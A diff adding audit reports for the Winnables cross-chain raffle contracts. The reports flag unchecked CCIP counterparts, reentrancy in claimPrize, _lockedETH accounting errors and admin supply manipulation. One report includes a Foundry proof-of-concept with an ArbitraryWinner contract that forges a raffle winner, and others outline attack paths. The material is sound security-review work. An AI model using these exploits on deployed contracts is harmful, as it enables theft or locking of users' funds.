LinkToken(linkToken).transfer(address(prizeManager), 100 ether); + LinkToken(linkToken).transfer(address(ticketManager), 100 ether); + + ticketManager.setCCIPCounterpart(address(prizeManager), _chainSelector, true); + prizeManager.setCCIPCounterpart(address(ticketManager), _chainSelector, true); + mock.addConsumer(subscriptionId, address(ticketManager)); + ticket.setRole(address(ticketManager), 1, true); + arbitraryWinner = new ArbitraryWinner(address(linkToken), address(sourceRouter)); + LinkToken(linkToken).transfer(address(arbitraryWinner), 10 ether); + prizeManager.setCCIPCounterpart(address(arbitraryWinner), _chainSelector, true); + deal(address(this), 10 ether); + + + + + } + + function testChangeWinnerByAdmin() external { + + + prizeManager.lockETH{value: 1 ether}(address(ticketManager), _chainSelector, 1, 1 ether); + + ticketManager.createRaffle(1, uint64(block.timestamp), uint64(block.timestamp + 1 days), 1, 2, 2); + bytes memory signature = _signMessageByAdmin(); + ticketManager.buyTickets(1, 2, block.number, signature); + + ticketManager.drawWinner(1); + mock.fulfillRandomWords(1, address(ticketManager)); + ticketManager.propagateRaffleWinner(address(prizeManager), _chainSelector, 1); + + ( + uint64 startsAt, + uint64 endsAt, + uint32 minTicketsThreshold, + uint32 maxTicketSupply, + uint32 maxHoldings, + uint256 totalRaised, + IWinnables.RaffleStatus status, + uint256 chainlinkRequestId + ) = ticketManager.getRaffle(1); + + arbitraryWinner.sendMessage(address(prizeManager), _chainSelector, 1, address(123)); + + IWinnablesPrizeManager.RafflePrize memory raffle = prizeManager.getRaffle(1); + assertEq(raffle.winner, address(123)); + + + } + + function onERC1155Received(address, address, uint256, uint256, bytes memory) public virtual returns (bytes4) { + return this.onERC1155Received.selector; + } + function _signMessageByAdmin() internal returns(bytes memory){ + uint userNonces = ticketManager.getNonce(address(this)); + uint256 raffleId = 1; + uint16 ticketCount = 2; + uint msgValue = 0; + (address admin, uint256 adminPk) = makeAddrAndKey("admin"); + + bytes32 hash = keccak256( + abi.encodePacked( + address(this), userNonces, raffleId, ticketCount, block.number, msgValue + ) + ); + + bytes32 ethSignedHash = ECDSA.toEthSignedMessageHash(hash); + (uint8 v, bytes32 r, bytes32 s) = vm.sign(adminPk, ethSignedHash); + bytes memory signature = abi.encodePacked(r, s, v); + ticketManager.setRole(admin, 1, true); + return signature; + } + receive() external payable { + + + } + + + +} + +contract ArbitraryWinner is BaseCCIPSender, BaseCCIPReceiver { + constructor( + address _linkToken, + address _ccipRouter + ) BaseCCIPContract(_ccipRouter) BaseLinkConsumer(_linkToken) { + LinkToken(LINK_TOKEN).approve(_ccipRouter, type(uint256).max); + } + + function _ccipReceive(Client.Any2EVMMessage memory message) internal override{ + } + + function sendMessage(address des, uint64 chainSelector, uint256 raffleId, address winner) public { + _sendCCIPMessage(des, chainSelector, abi.encodePacked(uint8(IWinnablesTicketManager.CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + } + } +``` + +### Mitigation + +sender address should validate in WinnerablePrizeManager and prize manager should check raffle.winner value before update \ No newline at end of file diff --git a/001/087.md b/001/087.md new file mode 100644 index 0000000..c961d3c --- /dev/null +++ b/001/087.md @@ -0,0 +1,90 @@ +Dandy Blonde Carp + +High + +# Malicious user can pass different `prizeManager` address to cancelRaffle(), successfully trapping ETH/NFT/token in prizeManager.sol + +## Summary +Malicious user can pass different `prizeManager` & `chainSelector` to cancelRaffle() as it doesn't verify them, successfully trapping ETH/NFT/token in prizeManager.sol + +## Vulnerability Detail +A user can cancel the raffle using cancelRaffle(). For canceling, it takes `prizeManager`, `chainSelector`, `raffleId` & sends CCIP message using _sendCCIPMessage() to the prizeManager.sol +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; +@> _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +In the prizeManager.sol, when `CCIPMessageType = RAFFLE_CANCELED` then it unlocks the NFT/ETH/token(which were locked initially to create raffle) +```solidity + function _ccipReceive(Client.Any2EVMMessage memory message) internal override { +... + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; +@> if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + @> _cancelRaffle(raffleId); + return; + } +... + } +``` +```solidity + function _cancelRaffle(uint256 raffleId) internal { + RaffleType raffleType = _rafflePrize[raffleId].raffleType; + if (_rafflePrize[raffleId].status == RafflePrizeStatus.CANCELED) revert InvalidRaffle(); + if (raffleType == RaffleType.NFT) { + NFTInfo storage nftInfo = _nftRaffles[raffleId]; +@> _nftLocked[nftInfo.contractAddress][nftInfo.tokenId] = false; + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage tokenInfo = _tokenRaffles[raffleId]; + unchecked { +@> _tokensLocked[tokenInfo.tokenAddress] -= tokenInfo.amount; + } + } else if (raffleType == RaffleType.ETH) { + unchecked { +@> _ethLocked -= _ethRaffles[raffleId]; + } + } else { + revert InvalidRaffle(); + } + _rafflePrize[raffleId].status = RafflePrizeStatus.CANCELED; + emit PrizeUnlocked(raffleId); + } +``` +Now the problem is, cancelRaffle() doesn't verify the `prizeManagerAddress` & `chainSelector` passed by user. + +A malicious user can deploy a dummy contract with `CCIPReceiver` and use it in cancelRaffle() to cancel the raffle, which will set the status of raffle to `CANCELED` & also it will not make any call to real/original prizeManager.sol to unlock the ETH/NFT/Token locked to create raffle. + +## Impact +ETH/NFT/Token locked in prizeManager.sol will be locked forever as cancelRaffle() doesn't make call to original/real prizeManager.sol + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278C1-L288C6 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L270C8-L274C10 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L280C4-L295C1 + +## Tool used +Manual Review + +## Recommendation +Verify the prizeManger & chainSelector before sending CCIP message +```diff + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); ++ bytes32 counterpart = _packCCIPContract(prizeManager, chainSelector); ++ if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` \ No newline at end of file diff --git a/001/088.md b/001/088.md new file mode 100644 index 0000000..3cecceb --- /dev/null +++ b/001/088.md @@ -0,0 +1,80 @@ +Amusing Boysenberry Kitten + +High + +# The admin can manipulate the raffle winner after randomword is generated. + +## Summary +When `randomWord` is set via ChainLink VRF, the winner will be determined via `request.randomWord % supply`. However, the miner role still can mint for this raffle to increase the `supply`. So the admin role/miner role can manipulate the winner result. + +## Vulnerability Detail +When the bought phase is over and reaches the condition, we can request one random word to determine this raffle's winner via `drawWinner`. The `drawWinner` will send to request to ChainLink VRF. ChainLink VRF will response and update variable `randomWord`. Now anyone can trigger `propagateRaffleWinner()` to calculate the final winner to send message to Ethereum. And the winner can claim his prize. +The problem is that the winner is determined via `request.randomWord % supply`. After the ChainLink VRF update `request.randomWord`. The miner can still mint this raffle to manipulate `supply`. This will cause the miner role/admin role can manipulate the final winner result. +In readme, our sponsor mentions that `Admins cannot affect the odds of a raffle.` It means that the admin role should not be seen as trusted. And the admin role can manipulate the final winner result. +```solidity + function drawWinner(uint256 raffleId) external { + ... + uint256 requestId = VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords( + KEY_HASH, + SUBSCRIPTION_ID, + 3, + 100_000, + 1 + ); + _chainlinkRequests[requestId] = RequestStatus({ + raffleId: raffleId, + randomWord: 0 + }); + raffle.chainlinkRequestId = requestId; + ... + } +``` +```solidity + function fulfillRandomWords( + uint256 requestId, + uint256[] memory randomWords + ) internal override { + ... + request.randomWord = randomWords[0]; + ... + } +``` +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + ... + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + ... + } + function _getWinnerByRequestId(uint256 requestId) internal view returns(address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); + uint256 winningTicketNumber = request.randomWord % supply; + return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber); + } +``` +```solidity + function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + ... + address operator = msg.sender; + uint256 startId = _supplies[id]; + unchecked { + _balances[id][to] += amount; + _supplies[id] = startId + amount; + } + _ticketOwnership[id][startId] = to; + ... + } +``` + +## Impact +The admin role can manipulate the raffle final winner result via minting raffle. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 + +## Tool used + +Manual Review + +## Recommendation +When the raffle status is not `IDLE` status, the miner should not mint raffle for anyone. \ No newline at end of file diff --git a/001/089.md b/001/089.md new file mode 100644 index 0000000..0bf6ba5 --- /dev/null +++ b/001/089.md @@ -0,0 +1,34 @@ +Obedient Green Aphid + +High + +# Admin cannot withdraw leftover assets in winnerableTicketManager contract + +### Summary + +when users call `WinnerablesTicketManager::buyTickets` they send ETH to `WinnerablesTicketManager` and [_lockETH will be increased](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L206) but in some senarios _lockETH wouldn't decrease and this cause insolvency + +### Root Cause + +Raffles can be cancelled if they don't reach threshold and [every user can cancel them](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) and after that [`WinnerableTicketManager::refundPlayers`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215) can be called by anyone to refund players asset but when that call _lockETH wouldn't update and this cause _lockETH has a wrong value + + + +### Impact + +admin calls [`WinnablesTicketManager::withdrawETH`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L303) to get locked ETHs in this contract,Admin get payout for tickets with this function ,but if _lockedETH has a wrong value causes ETHs locks in `WinnablesTicketManager` + +### PoC + +Textual PoC: +- The admin creates a raffle. +- A user (Alice) purchases a ticket, sending 1 ETH to the WinnerablesTicketManager contract. The contract's balance is now 1 ETH, and _lockETH is also 1 ETH. +- A user cancels the raffle by invoking the WinnerableTicketManager::cancelRaffle function. +- Alice calls WinnerableTicketManager::refundPlayers, which refunds the 1 ETH to her. The contract's balance is now 0 ETH, but _lockETH remains incorrectly set at 1 ETH. +- The admin creates a new raffle. +- Other users buy tickets, and the contract accumulates 1 ETH from these purchases. The contract's balance is now 1 ETH, but _lockETH incorrectly shows 2 ETH. +- When the admin attempts to withdraw ETH by calling WinnerableTicketManager::withdrawETH, the function fails due to the incorrect _lockETH value, causing an error. + + +### Mitigation +_lockETH should update in `WinnerbaleTicketManager::refundPlayers` \ No newline at end of file diff --git a/001/090.md b/001/090.md new file mode 100644 index 0000000..b582264 --- /dev/null +++ b/001/090.md @@ -0,0 +1,53 @@ +Tall Brown Goose + +High + +# Re-entrancy in claimPrize on WinnablesPrizeManager.sol contract + +## Summary + +There is a re-entrancy attack vector in `claimPrize` function on `WinnablesPrizeManager.sol` contract. + +## Vulnerability Detail + +Winner of a raffle (if its a smart contract account) can withdraw his prize multiple times because of the re-entrancy - on the terms he won a `ETH` (ether) prize. +This can happen because the `CLAIMED` status is updated only after sending out the prizes/reward. + +## Impact + +Smart contract account that won the raffle can re-enter the `claimPrize` function in its `receive()` function and drain the `WinnablesPrizeManager.sol` contract of its balance. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L121C1-L122C56 + +## Tool used + +Manual Review + +## Recommendation + +Update variables necessary for claim tracking before sending out rewards. + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + emit PrizeClaimed(raffleId, msg.sender); +} +``` \ No newline at end of file diff --git a/001/091.md b/001/091.md new file mode 100644 index 0000000..a1fac86 --- /dev/null +++ b/001/091.md @@ -0,0 +1,39 @@ +Amusing Boysenberry Kitten + +High + +# Lack of input parameter check in propagateRaffleWinner + +## Summary +In propagateRaffleWinner(), the message should be sent to Ethereum/WinnablesPrizeManager. And Ethereum:WinnablesPrizeManager can receive this message and then the winner can claim rewards. If the input parameter `chainSelector``prizeManager` is not Ethereum, WinnablesPrizeManager, the winner cannot claim rewards in Ethereum. + +## Vulnerability Detail +In propagateRaffleWinner(), anyone can trigger the function to publish this raffle's final winner. And this function needs to send one message to Ethereum/WinnablesPrizeManager. Because the winner needs to claim rewards in Ethereum. +However, the problem is that we lack of input parameter check for `prizeManager` and `chainSelector`. If these parameters are incorrect(not zero), this function will be executed normally, but the message cannot be delivered to Ethereum/WinnablesPrizeManger correctly. This will cause the winner cannot claim the rewards. +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +## Impact +The winner cannot claim the rewards. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 + +## Tool used + +Manual Review + +## Recommendation +Add input parameter check in propagateRaffleWinner(). We need to make sure the message should be sent to Ethereum/WinnablesPrizeManager correctly. \ No newline at end of file diff --git a/001/092.md b/001/092.md new file mode 100644 index 0000000..c98bcde --- /dev/null +++ b/001/092.md @@ -0,0 +1,48 @@ +Delightful Inky Panda + +High + +# Attacker can force `WinnablesTicketManager` to send CCIP message to wrong destination + +## Summary + +Currently, `WinnablesTicketManager.cancelRaffle` has no access control, which means anyone can call it with any `chainSelector`. This in turn prevents the reward from being taken out on Ethereum. + +## Vulnerability Detail + +When a raffle can be canceled for some reason, function `cancelRaffle` is used to notify WinnablesPrizeManager(on Ethereum) that rewards are ready to be unlocked and removed: + + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } + +Since this function has no access control, and there is no internal verification that `prizeManager` and `cancelRaffle` are correct destinations, anyone can call this function to set `_raffles[raffleId].status` to `CANCELED` and send message to another chain supported by CCIP. + +The result of this attack is that the status of the raffle on Avalanche has been set to `CANCELED`, but the raffle is still valid on Ethereum, so the reward cannot be taken out by admin and forever locked. + +## Impact + +Severity: HIGH - direct fund loss, admin cannot access funds locked in `WinnablesTicketManager` permanently. +Likelihood: HIGH - anyone can do this on a cancellable raffle. + +Impact: HIGH + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +## Tool used + +Manual Review + +## Recommendation + +Add an access control on `cancelRaffle`, or validate users' input params. \ No newline at end of file diff --git a/001/093.md b/001/093.md new file mode 100644 index 0000000..a4e9e2d --- /dev/null +++ b/001/093.md @@ -0,0 +1,105 @@ +Recumbent Ultraviolet Ram + +High + +# Unupdated `_lockedETH` might prevent the admin from withdrawing funds due to the potential underflow + +## Summary +Not updating `_lockedETH` in WinnablesTicketManager.sol::refundPlayers() may cause potentially an underflow, which will result in unwithdrawable ETH. +## Vulnerability Detail +[_lockedETH](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L42) is created for potential refunds . Each time a ticket is bought by the user, it is increased in buyTicket(): +```solidity + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + + Raffle storage raffle = _raffles[raffleId]; + uint256 participation = uint256(raffle.participations[msg.sender]); + uint128 totalPaid = uint128(participation) + uint128(msg.value); + uint32 totalPurchased = uint32(participation >> 128) + uint32(ticketCount); + unchecked { + raffle.participations[msg.sender] = bytes32( + (participation & type(uint256).max << 160) + | totalPaid | + uint256(totalPurchased) << 128 + ); + } + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; +@> _lockedETH += msg.value; + } + IWinnablesTicket(TICKETS_CONTRACT).mint(msg.sender, raffleId, ticketCount); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +In case the requirements are not met for a raffle, the raffle is cancelled and the users are refunded by refundPlayers(): +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` +here as you can see there is no update of `_lockedETH`, `amountToSend` will be deducted from the contract's balance but `_lockedETH` will stay same. The issue arises when the admin calls [withdrawETH](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300): +```solidity + /// @notice (Admin) Withdraw ETH from a canceled raffle or ticket sales + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } //@audit-issue that will result in underflow in case of a raffle's cancel + _sendETH(balance, msg.sender); + } +``` +The line + ```solidity +unchecked { + balance = address(this).balance - _lockedETH; + } +``` +will cause an underflow, which means the admin will not able to withdraw the funds. Here are 2 example scenarios: +**First**: +1. The contract is deployed and Initial State would be like : +Contract Balance: 0 ETH +_lockedETH: 0 ETH +2. The admin creates a raffle by calling `createRaffle()`. +3. Users buy tickets by calling `buyTicket()`,(_lockedETH will be increased by the amount of ETH sent by the users). The minThreshold is not met and the raffle is cancelled. Let's say at this point, `_lockedETH` is 2 ETH, and `contract's balance` will be 2 ETH (assuming no other transfer has been made yet) +4. The users are refunded by `refundPlayers()`. Since no decrease of `_lockedETH` is made, +Contract Balance: 0 ETH (refunded to users) +_lockedETH: 2 ETH (still reflecting the initial amount collected) +5. The Admin calls `withdrawsETH()`: +`balance = address(this).balance - _lockedETH;` will be `balance = 0 - 2 = -2 ETH` , which will lead to underflow, The underflow will result in a large positive number. The contract will attempt to send a large amount of ETH that it doesn't actually have, leading to potential issues. +You might say well the contract balance is 0 , so no impact really. However that may not be the case always. Consider the following case. +**Second Scenario:** +After the contract is deployed, many raffles are successfully done but assume 5 of them are cancelled. With each cancellation, there will refund. However since `_lockedETH` is not decreased in `refundPlayers()`, it will hold the amount of Eth sent for cancelled raffles (*Recall _lockedEth is increased by the Eth done by each user in buyTicket()*). Let's assume `_lockedETH` at this point is 10 ETH. In the meantime intentionally or unintentionally some ETH has been transfered to the contract. Let's say `contract Balance `at this point is 5 ETH. The admin decided to withdraw the ETH. Due to underflow, the funds will not be withdrawable. It will be stuck in the contract. +NOTE: The numbers used for clarification, There might be worse cases +## Impact +The funds will be stuck in the contract. Even the admin will not able to withdraw them + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L206 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300 +## Tool used +Manual Review, Vs Code +## Recommendation +Decrease `_lockedETH` by the `amountToSend` in [refundPlayer()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215). Add the following line: +```solidity + _lockedETH -= amountToSend; // Decrease _lockedETH +``` \ No newline at end of file diff --git a/001/094.md b/001/094.md new file mode 100644 index 0000000..10f95d6 --- /dev/null +++ b/001/094.md @@ -0,0 +1,42 @@ +Breezy White Swallow + +High + +# An attacker can prevent the raffle from being created by exploiting permissionless raffle cancellation + +### Summary + +In `WinnablesTicketManager`, permissionless raffle cancellation will cause the raffles can not be created as an attacker will cancel the raffle right after the CCIP message is received from the prize manager. + +### Root Cause + +Permissionless raffle cancellation. Since the check for the raffle can be cancelled will pass if the raffle's status is `PRIZE_LOCKED` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L279 + +Everyone can cancel the raffle, which marked with `PRIZE_LOCKED`. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. In `WinnablesTicketManager`, CCIP message is received from the prize manager. The raffle's status is marked with `PRIZE_LOCKED`. +2. An attacker cancel the raffle by calling `cancelRaffle`. The attacker can pay high gas to guarantee the `cancelRaffle` transaction will be executed before the `createRaffle` transaction. + +### Impact + +Raffles can not be created via `createRaffle`. + +### PoC + +_No response_ + +### Mitigation + +Make the raffle cancellation permissioned. \ No newline at end of file diff --git a/001/095.md b/001/095.md new file mode 100644 index 0000000..11b6d72 --- /dev/null +++ b/001/095.md @@ -0,0 +1,60 @@ +Magic Green Raccoon + +High + +# Reentrancy in the claimPrize function will drain funds in the prize pool + +## Summary +All funds in the `WinnablePrizeManager` contract are vulnerable to theft due to a re-entrancy issue in the `claimPrize` function. + +## Vulnerability Detail + +The `claimPrize` function in the `WinnablePrizeManager` contract updates a raffle's status to `CLAIMED` after distributing the rewards. If the raffle type is `ETH`, the function calls the `_sendETHPrize` function, which sends `ETH` using a low-level-call. A malicious contract could exploit this by re-entering the `claimPrize` function through its fallback function after receiving the `ETH`. Since the raffle status is not updated in time, the reentrancy will result in the theft of all funds in the `WinnablePrizeManager` contract. + +## Impact +All funds can be drained in the `WinablePrizeManager` contract. + +## Code Snippet + +Vulnerable codes ref: https://github.com/Winnables/public-contracts/blob/267dd06e2d5636f30e3311c46ed24b76ac6614c5/contracts/WinnablesPrizeManager.sol#L105 + + +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + // @audit malicious contract could ennter the function here (after the low level call) + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + // @audit root cause: the status of the raffle has not been updated in time + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +```solidity + function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` + +## Tool used + +Manual Review. + +## Recommendation + +Add a re-entrancy guard to the claimPrize function or apply the Checks-Effects-Interactions principle. \ No newline at end of file diff --git a/001/096.md b/001/096.md new file mode 100644 index 0000000..ac8f2ac --- /dev/null +++ b/001/096.md @@ -0,0 +1,50 @@ +Amusing Boysenberry Kitten + +High + +# Raffle's mint supply can exceed maxTicketSupply + +## Summary +Minter role can mint raffle to cause the supply exceed the maxTicketSupply. This will reduce normal buyers' winner chances a lot. + +## Vulnerability Detail +In WinnablesTicket, normal users can mint raffle via buying tokens, and at the same time, the miner role can mint some raffle to some people for free. +The sponsor has already mention this point in readme as below: +```md +Because we want to reserve the right to distribute free tickets to partners for marketing purposes, the admin can virtually mint out raffle tickets to addresses of their choice. The existence of max ticket supply and max holdings however guarantees a minimum level of fairness in that raffle participants can be sure that by purchasing tickets, they have a hard minimum odds of winning equal to numberOfTicketsPuchased / totalTicketSupply. Therefore, by granting free tickets, admin only reduce their own earnings potential. +``` +In this description, sponsor also mentions that normal buyers will have a hard minimum odds of winning equal to numberOfTicketsPuchased / totalTicketSupply. +The problem is that the hard minimum odds of winning equal can be easily broken by the miner role. The `minimum odds of winning equal to numberOfTicketsPuchased / totalTicketSupply` assumption is based on one condition that this raffle's maximum supply cannot exceed `totalTicketSupply`. When the miner role mints some free raffle for some people, the amount is not limited by `totalTicketSupply`. This will cause the supply exceed `totalTicketSupply` a lot and decrease normal buyers' winning chance a lot. + +```solidity + function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + unchecked { + _balances[id][to] += amount; + _supplies[id] = startId + amount; + } + + _ticketOwnership[id][startId] = to; + emit NewTicket(id, startId, amount); + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount); + } +``` + +## Impact +Minter roles can decrease normal buyers' winning chance a lot. This will break the assumption `however guarantees a minimum level of fairness in that raffle participants can be sure that by purchasing tickets, they have a hard minimum odds of winning equal to numberOfTicketsPuchased / totalTicketSupply.` in readme. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199 +## Tool used + +Manual Review + +## Recommendation +Add the related supply check when the miner role mints free raffles to make sure the raffle's supply cannot exceed `totalTicketSupply` \ No newline at end of file diff --git a/001/097.md b/001/097.md new file mode 100644 index 0000000..c009845 --- /dev/null +++ b/001/097.md @@ -0,0 +1,63 @@ +Dandy Blonde Carp + +High + +# Malicious user can call propagateRaffleWinner() with different `prizeManager` to prevent winner form claiming his rewards + +## Summary +Malicious user can call `propagateRaffleWinner()` with different `prizeManager` to prevent winner form claiming his rewards + +## Vulnerability Detail +A winner can claim his rewards in prizeManager.sol after calling `propagateRaffleWinner()`. It takes `prizeManager`, `chainSelector`, `raffleId` and sends a CCIP message to prizeManager.sol to set winner in `_rafflePrize[raffleId].winner` +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { +... + _sendCCIPMessage( + prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner) + ); +... + } +``` +```solidity + function _ccipReceive(Client.Any2EVMMessage memory message) internal override { +... + (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); +@> _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } +``` +Now the problem is, propagateRaffleWinner() doesn't verify that `prizeManagerAddress` & `chainSelector` are real/original or not. + +A malicious user can deploy a `fake` prizeManager.sol with `CCIPReceiver` and use its address in propagateRaffleWinner(). As result, status of the raffle will be `PROPAGATED` & CCIP message will be sent to fake prizeManager.sol. + +Also winner can't call propagateRaffleWinner() again because there is status check which will revert + +## Impact +Winner will not be able to claim his rewards(ETH/NFT/Token) in real prizeManager.sol because it doesn't set the winner in `_rafflePrize[raffleId].winner` as CCIP message was sent to fake prizeManager.sol + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334C5-L345C6 